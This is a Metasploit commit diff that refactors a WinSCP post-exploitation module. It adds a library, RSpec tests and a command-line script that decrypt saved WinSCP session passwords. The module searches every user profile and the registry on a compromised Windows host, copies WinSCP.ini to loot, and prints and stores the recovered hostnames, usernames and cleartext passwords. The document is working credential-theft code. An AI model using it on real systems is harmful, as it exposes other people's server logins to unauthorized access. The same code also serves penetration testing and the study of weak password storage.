Land #5799, refactor WinSCP module and library code to be more useful and flexible
commit
d551f421f8
|
@ -0,0 +1,108 @@
|
||||||
|
require 'rex/parser/ini'
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Parser
|
||||||
|
module WinSCP
|
||||||
|
PWDALG_SIMPLE_MAGIC = 0xA3
|
||||||
|
PWDALG_SIMPLE_FLAG = 0xFF
|
||||||
|
|
||||||
|
def read_and_parse_ini(filename)
|
||||||
|
file = File.read(filename)
|
||||||
|
return if file.to_s.empty?
|
||||||
|
parse_ini(file)
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_protocol(fsprotocol)
|
||||||
|
return 'Unknown' if fsprotocol.nil?
|
||||||
|
|
||||||
|
case fsprotocol
|
||||||
|
when 5 then 'FTP'
|
||||||
|
when 0 then 'SSH'
|
||||||
|
else
|
||||||
|
'Unknown'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_ini(file)
|
||||||
|
results = []
|
||||||
|
raise RuntimeError, 'No data to parse' if file.nil? || file.empty?
|
||||||
|
|
||||||
|
ini = Rex::Parser::Ini.from_s(file)
|
||||||
|
|
||||||
|
if ini['Configuration\\Security']
|
||||||
|
# if a Master Password is in use we give up
|
||||||
|
if ini['Configuration\\Security']['UseMasterPassword'].to_i == 1
|
||||||
|
raise RuntimeError, 'Master Password Set, unable to recover saved passwords!'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Runs through each group in the ini file looking for all of the Sessions
|
||||||
|
ini.each_key do |group|
|
||||||
|
if group.include?('Sessions') && ini[group].has_key?('Password')
|
||||||
|
# Decrypt our password, and report on results
|
||||||
|
encrypted_password = ini[group]['Password']
|
||||||
|
user = ini[group]['UserName']
|
||||||
|
host = ini[group]['HostName']
|
||||||
|
sname = parse_protocol(ini[group]['FSProtocol'].to_i)
|
||||||
|
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
|
||||||
|
|
||||||
|
results << {
|
||||||
|
hostname: host,
|
||||||
|
password: plaintext,
|
||||||
|
portnumber: ini[group]['PortNumber'] || 22,
|
||||||
|
username: user,
|
||||||
|
protocol: sname
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
results
|
||||||
|
end
|
||||||
|
|
||||||
|
# Decrypts the next character in the password sequence
|
||||||
|
def decrypt_next_char(pwd)
|
||||||
|
if pwd.nil? || pwd.length <= 0
|
||||||
|
return 0, pwd
|
||||||
|
end
|
||||||
|
|
||||||
|
# Takes the first char from the encrypted password and then left shifts the returned index by 4 bits
|
||||||
|
a = pwd[0].hex << 4
|
||||||
|
|
||||||
|
# Takes the second char from the encrypted password
|
||||||
|
b = pwd[1].hex
|
||||||
|
|
||||||
|
# Adds the two results, XORs against 0xA3, NOTs it and then ANDs it with 0xFF
|
||||||
|
result = ~((a + b) ^ PWDALG_SIMPLE_MAGIC) & PWDALG_SIMPLE_FLAG
|
||||||
|
|
||||||
|
# Strips the first two chars off and returns our result
|
||||||
|
return result, pwd[2..-1]
|
||||||
|
end
|
||||||
|
|
||||||
|
def decrypt_password(pwd, key)
|
||||||
|
flag, pwd = decrypt_next_char(pwd)
|
||||||
|
|
||||||
|
if flag == PWDALG_SIMPLE_FLAG
|
||||||
|
_, pwd = decrypt_next_char(pwd)
|
||||||
|
length, pwd = decrypt_next_char(pwd)
|
||||||
|
else
|
||||||
|
length = flag
|
||||||
|
end
|
||||||
|
|
||||||
|
del, pwd = decrypt_next_char(pwd)
|
||||||
|
pwd = pwd[del*2..-1]
|
||||||
|
|
||||||
|
result = ""
|
||||||
|
length.times do
|
||||||
|
r, pwd = decrypt_next_char(pwd)
|
||||||
|
result << r.chr
|
||||||
|
end
|
||||||
|
|
||||||
|
if flag == PWDALG_SIMPLE_FLAG
|
||||||
|
result = result[key.length..-1]
|
||||||
|
end
|
||||||
|
|
||||||
|
result
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -1,5 +1,3 @@
|
||||||
# post/windows/gather/enum_vnc_pw.rb
|
|
||||||
|
|
||||||
##
|
##
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
@ -8,6 +6,7 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'rex'
|
require 'rex'
|
||||||
require 'rex/parser/ini'
|
require 'rex/parser/ini'
|
||||||
|
require 'rex/parser/winscp'
|
||||||
require 'msf/core/auxiliary/report'
|
require 'msf/core/auxiliary/report'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
@ -15,6 +14,7 @@ class Metasploit3 < Msf::Post
|
||||||
include Msf::Auxiliary::Report
|
include Msf::Auxiliary::Report
|
||||||
include Msf::Post::Windows::UserProfiles
|
include Msf::Post::Windows::UserProfiles
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
|
include Rex::Parser::WinSCP
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -73,14 +73,21 @@ class Metasploit3 < Msf::Post
|
||||||
portnum = 22
|
portnum = 22
|
||||||
end
|
end
|
||||||
|
|
||||||
winscp_store_config(
|
encrypted_password = password
|
||||||
'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "",
|
user = registry_getvaldata(active_session, 'UserName') || ""
|
||||||
'HostName' => registry_getvaldata(active_session, 'HostName') || "",
|
fsprotocol = registry_getvaldata(active_session, 'FSProtocol') || ""
|
||||||
'Password' => password,
|
sname = parse_protocol(fsprotocol)
|
||||||
'PortNumber' => portnum,
|
host = registry_getvaldata(active_session, 'HostName') || ""
|
||||||
'UserName' => registry_getvaldata(active_session, 'UserName') || "",
|
|
||||||
)
|
|
||||||
|
|
||||||
|
plaintext = decrypt_password(encrypted_password, "#{user}#{host}")
|
||||||
|
|
||||||
|
winscp_store_config({
|
||||||
|
hostname: host,
|
||||||
|
username: user,
|
||||||
|
password: plaintext,
|
||||||
|
portnumber: portnum,
|
||||||
|
protocol: sname
|
||||||
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
if savedpwds == 0
|
if savedpwds == 0
|
||||||
|
@ -96,121 +103,62 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def get_ini(filename)
|
|
||||||
print_error("Looking for #{filename}.")
|
|
||||||
# opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser
|
|
||||||
parse = read_file(filename)
|
|
||||||
if parse.nil?
|
|
||||||
print_error("WinSCP.ini file NOT found...")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Found WinSCP.ini file...")
|
|
||||||
ini = Rex::Parser::Ini.from_s(parse)
|
|
||||||
|
|
||||||
# if a Master Password is in use we give up
|
|
||||||
if ini['Configuration\\Security']['MasterPassword'] == '1'
|
|
||||||
print_status("Master Password Set, unable to recover saved passwords!")
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
# Runs through each group in the ini file looking for all of the Sessions
|
|
||||||
ini.each_key do |group|
|
|
||||||
if group.include?('Sessions') && ini[group].has_key?('Password')
|
|
||||||
winscp_store_config(
|
|
||||||
'FSProtocol' => ini[group]['FSProtocol'],
|
|
||||||
'HostName' => ini[group]['HostName'],
|
|
||||||
'Password' => ini[group]['Password'],
|
|
||||||
'PortNumber' => ini[group]['PortNumber'] || 22,
|
|
||||||
'UserName' => ini[group]['UserName'],
|
|
||||||
)
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def decrypt_next_char
|
|
||||||
|
|
||||||
pwalg_simple_magic = 0xA3
|
|
||||||
pwalg_simple_string = "0123456789ABCDEF"
|
|
||||||
|
|
||||||
# Decrypts the next character in the password sequence
|
|
||||||
if @password.length > 0
|
|
||||||
# Takes the first char from the encrypted password and finds its position in the
|
|
||||||
# pre-defined string, then left shifts the returned index by 4 bits
|
|
||||||
unpack1 = pwalg_simple_string.index(@password[0,1])
|
|
||||||
unpack1 = unpack1 << 4
|
|
||||||
|
|
||||||
# Takes the second char from the encrypted password and finds its position in the
|
|
||||||
# pre-defined string
|
|
||||||
unpack2 = pwalg_simple_string.index(@password[1,1])
|
|
||||||
# Adds the two results, XORs against 0xA3, NOTs it and then ands it with 0xFF
|
|
||||||
result= ~((unpack1+unpack2) ^ pwalg_simple_magic) & 0xff
|
|
||||||
# Strips the first two chars off and returns our result
|
|
||||||
@password = @password[2,@password.length]
|
|
||||||
return result
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def decrypt_password(pwd, key)
|
|
||||||
pwalg_simple_flag = 0xFF
|
|
||||||
@password = pwd
|
|
||||||
flag = decrypt_next_char()
|
|
||||||
|
|
||||||
if flag == pwalg_simple_flag
|
|
||||||
decrypt_next_char()
|
|
||||||
length = decrypt_next_char()
|
|
||||||
else
|
|
||||||
length = flag
|
|
||||||
end
|
|
||||||
ldel = (decrypt_next_char())*2
|
|
||||||
@password = @password[ldel,@password.length]
|
|
||||||
|
|
||||||
result = ""
|
|
||||||
length.times do
|
|
||||||
result << decrypt_next_char().chr
|
|
||||||
end
|
|
||||||
|
|
||||||
if flag == pwalg_simple_flag
|
|
||||||
result = result[key.length, result.length]
|
|
||||||
end
|
|
||||||
|
|
||||||
result
|
|
||||||
end
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
print_status("Looking for WinSCP.ini file storage...")
|
print_status("Looking for WinSCP.ini file storage...")
|
||||||
get_ini(expand_path("%PROGRAMFILES%\\WinSCP\\WinSCP.ini"))
|
|
||||||
print_status("Looking for Registry Storage...")
|
# WinSCP is only x86...
|
||||||
get_reg()
|
if sysinfo['Architecture'] == 'x86'
|
||||||
print_status("Done!")
|
prog_files_env = 'ProgramFiles'
|
||||||
|
else
|
||||||
|
prog_files_env = 'ProgramFiles(x86)'
|
||||||
|
end
|
||||||
|
env = get_envs('APPDATA', prog_files_env, 'USERNAME')
|
||||||
|
|
||||||
|
user_dir = "#{env['APPDATA']}\\..\\.."
|
||||||
|
user_dir << "\\.." if user_dir.include?('Users')
|
||||||
|
|
||||||
|
users = dir(user_dir)
|
||||||
|
users.each do |user|
|
||||||
|
next if user == "." || user == ".."
|
||||||
|
app_data = "#{env['APPDATA'].gsub(env['USERNAME'], user)}\\WinSCP.ini"
|
||||||
|
vprint_status("Looking for #{app_data}...")
|
||||||
|
get_ini(app_data) if file?(app_data)
|
||||||
|
end
|
||||||
|
|
||||||
|
program_files = "#{env[prog_files_env]}\\WinSCP\\WinSCP.ini"
|
||||||
|
|
||||||
|
get_ini(program_files) if file?(program_files)
|
||||||
|
|
||||||
|
print_status("Looking for Registry storage...")
|
||||||
|
get_reg
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_ini(file_path)
|
||||||
|
print_good("WinSCP.ini located at #{file_path}")
|
||||||
|
file = read_file(file_path)
|
||||||
|
stored_path = store_loot('winscp.ini', 'text/plain', session, file, 'WinSCP.ini', file_path)
|
||||||
|
print_status("WinSCP saved to loot: #{stored_path}")
|
||||||
|
parse_ini(file).each do |res|
|
||||||
|
winscp_store_config(res)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def winscp_store_config(config)
|
def winscp_store_config(config)
|
||||||
host = config['HostName']
|
begin
|
||||||
pass = config['Password']
|
res = client.net.resolve.resolve_host(config[:hostname], AF_INET)
|
||||||
portnum = config['PortNumber']
|
ip = res[:ip] if res
|
||||||
proto = config['FSProtocol']
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
user = config['UserName']
|
print_error("Unable to store following credentials in database as we are unable to resolve the IP address: #{e}")
|
||||||
|
ensure
|
||||||
|
print_good("Host: #{config[:hostname]}, IP: #{ip}, Port: #{config[:portnumber]}, Service: #{config[:protocol]}, Username: #{config[:username]}, Password: #{config[:password]}")
|
||||||
|
end
|
||||||
|
|
||||||
sname = case proto.to_i
|
return unless ip
|
||||||
when 5 then "FTP"
|
|
||||||
when 0 then "SSH"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Decrypt our password, and report on results
|
|
||||||
plaintext = decrypt_password(pass, user+host)
|
|
||||||
print_status("Host: #{host} Port: #{portnum} Protocol: #{sname} Username: #{user} Password: #{plaintext}")
|
|
||||||
|
|
||||||
service_data = {
|
service_data = {
|
||||||
# XXX This resolution should happen on the victim side instead
|
address: ip,
|
||||||
address: ::Rex::Socket.getaddress(host),
|
port: config[:portnumber],
|
||||||
port: portnum,
|
service_name: config[:protocol],
|
||||||
service_name: sname,
|
|
||||||
protocol: 'tcp',
|
protocol: 'tcp',
|
||||||
workspace_id: myworkspace_id,
|
workspace_id: myworkspace_id,
|
||||||
}
|
}
|
||||||
|
@ -220,8 +168,8 @@ class Metasploit3 < Msf::Post
|
||||||
session_id: session_db_id,
|
session_id: session_db_id,
|
||||||
post_reference_name: self.refname,
|
post_reference_name: self.refname,
|
||||||
private_type: :password,
|
private_type: :password,
|
||||||
private_data: plaintext,
|
private_data: config[:password],
|
||||||
username: user
|
username: config[:username]
|
||||||
}.merge(service_data)
|
}.merge(service_data)
|
||||||
|
|
||||||
credential_core = create_credential(credential_data)
|
credential_core = create_credential(credential_data)
|
||||||
|
|
|
@ -0,0 +1,98 @@
|
||||||
|
require 'rex/parser/winscp'
|
||||||
|
|
||||||
|
INI_SECURITY = "[Configuration\\Security]\nUseMasterPassword=1\nMasterPasswordVerifier=\n"
|
||||||
|
|
||||||
|
USERNAME = 'username'
|
||||||
|
HOST = 'server.feralhosting.com'
|
||||||
|
PASSWORD='A35C7659654B2AB83C292F392E323D31392F392E2A392E723A392E3D3034332F2835323B723F33312F383A2F383A3B2F3B3B3B'
|
||||||
|
SAMPLE_INI = <<-END
|
||||||
|
[Sessions\\username@server.feralhosting.com]
|
||||||
|
HostName=#{HOST}
|
||||||
|
Timeout=6000
|
||||||
|
SshProt=3
|
||||||
|
UserName=#{USERNAME}
|
||||||
|
UpdateDirectories=0
|
||||||
|
Utf=1
|
||||||
|
Password=#{PASSWORD}
|
||||||
|
Shell=/bin/bash}
|
||||||
|
END
|
||||||
|
|
||||||
|
describe Rex::Parser::WinSCP do
|
||||||
|
let(:target) do
|
||||||
|
d = Class.new { include Rex::Parser::WinSCP }
|
||||||
|
d.new
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#parse_protocol" do
|
||||||
|
it "returns 'Unknown' for unknown protocols" do
|
||||||
|
expect(target.parse_protocol(nil)).to eq('Unknown')
|
||||||
|
expect(target.parse_protocol(99)).to eq('Unknown')
|
||||||
|
expect(target.parse_protocol('stuff')).to eq('Unknown')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns 'SSH' for protocol 0" do
|
||||||
|
expect(target.parse_protocol(0)).to eq('SSH')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns 'FTP' for protocol 5" do
|
||||||
|
expect(target.parse_protocol(5)).to eq('FTP')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#decrypt_next_char" do
|
||||||
|
it "returns 0 and the pwd if pwd length <= 0" do
|
||||||
|
r, pwd = target.decrypt_next_char('')
|
||||||
|
expect(r).to eq(0)
|
||||||
|
expect(pwd).to eq('')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "strips the first two characters from the return value" do
|
||||||
|
_, pwd = target.decrypt_next_char('A3')
|
||||||
|
expect(pwd).to eq('')
|
||||||
|
end
|
||||||
|
|
||||||
|
it "returns 255 for 'A3'" do
|
||||||
|
r, _ = target.decrypt_next_char('A3')
|
||||||
|
expect(r).to eq(Rex::Parser::WinSCP::PWDALG_SIMPLE_FLAG)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#decrypt_password" do
|
||||||
|
it "returns 'sdfsdfgsggg' for the example password" do
|
||||||
|
expect(target.decrypt_password(PASSWORD, "#{USERNAME}#{HOST}")).to eq('sdfsdfgsggg')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#parse_ini" do
|
||||||
|
it "raises a RuntimeError if ini is nil or empty" do
|
||||||
|
expect { target.parse_ini('') }.to raise_error(RuntimeError, /No data/i)
|
||||||
|
expect { target.parse_ini(nil) }.to raise_error(RuntimeError, /No data/i)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "raises a RuntimeError if UseMasterPassword is 1" do
|
||||||
|
expect { target.parse_ini(INI_SECURITY) }.to raise_error(RuntimeError, /Master/i)
|
||||||
|
end
|
||||||
|
|
||||||
|
it "parses the example ini" do
|
||||||
|
r = target.parse_ini(SAMPLE_INI).first
|
||||||
|
expect(r[:hostname]).to eq(HOST)
|
||||||
|
expect(r[:password]).to eq('sdfsdfgsggg')
|
||||||
|
expect(r[:username]).to eq(USERNAME)
|
||||||
|
expect(r[:protocol]).to eq('SSH')
|
||||||
|
expect(r[:portnumber]).to eq(22)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context "#read_and_parse_ini" do
|
||||||
|
it "returns nil if file is empty or doesn't exist" do
|
||||||
|
File.stub(:read).and_return(nil)
|
||||||
|
expect(target.read_and_parse_ini('blah')).to be nil
|
||||||
|
end
|
||||||
|
|
||||||
|
it "parses the example ini and return a single result" do
|
||||||
|
File.stub(:read).and_return(SAMPLE_INI)
|
||||||
|
expect(target.read_and_parse_ini(SAMPLE_INI).count).to eq 1
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -0,0 +1,13 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
|
||||||
|
require 'rex/parser/winscp'
|
||||||
|
|
||||||
|
exit unless ARGV.count == 1
|
||||||
|
|
||||||
|
include Rex::Parser::WinSCP
|
||||||
|
|
||||||
|
puts ARGV.first
|
||||||
|
read_and_parse_ini(ARGV.first).each do |res|
|
||||||
|
puts res.inspect
|
||||||
|
end
|
Loading…
Reference in New Issue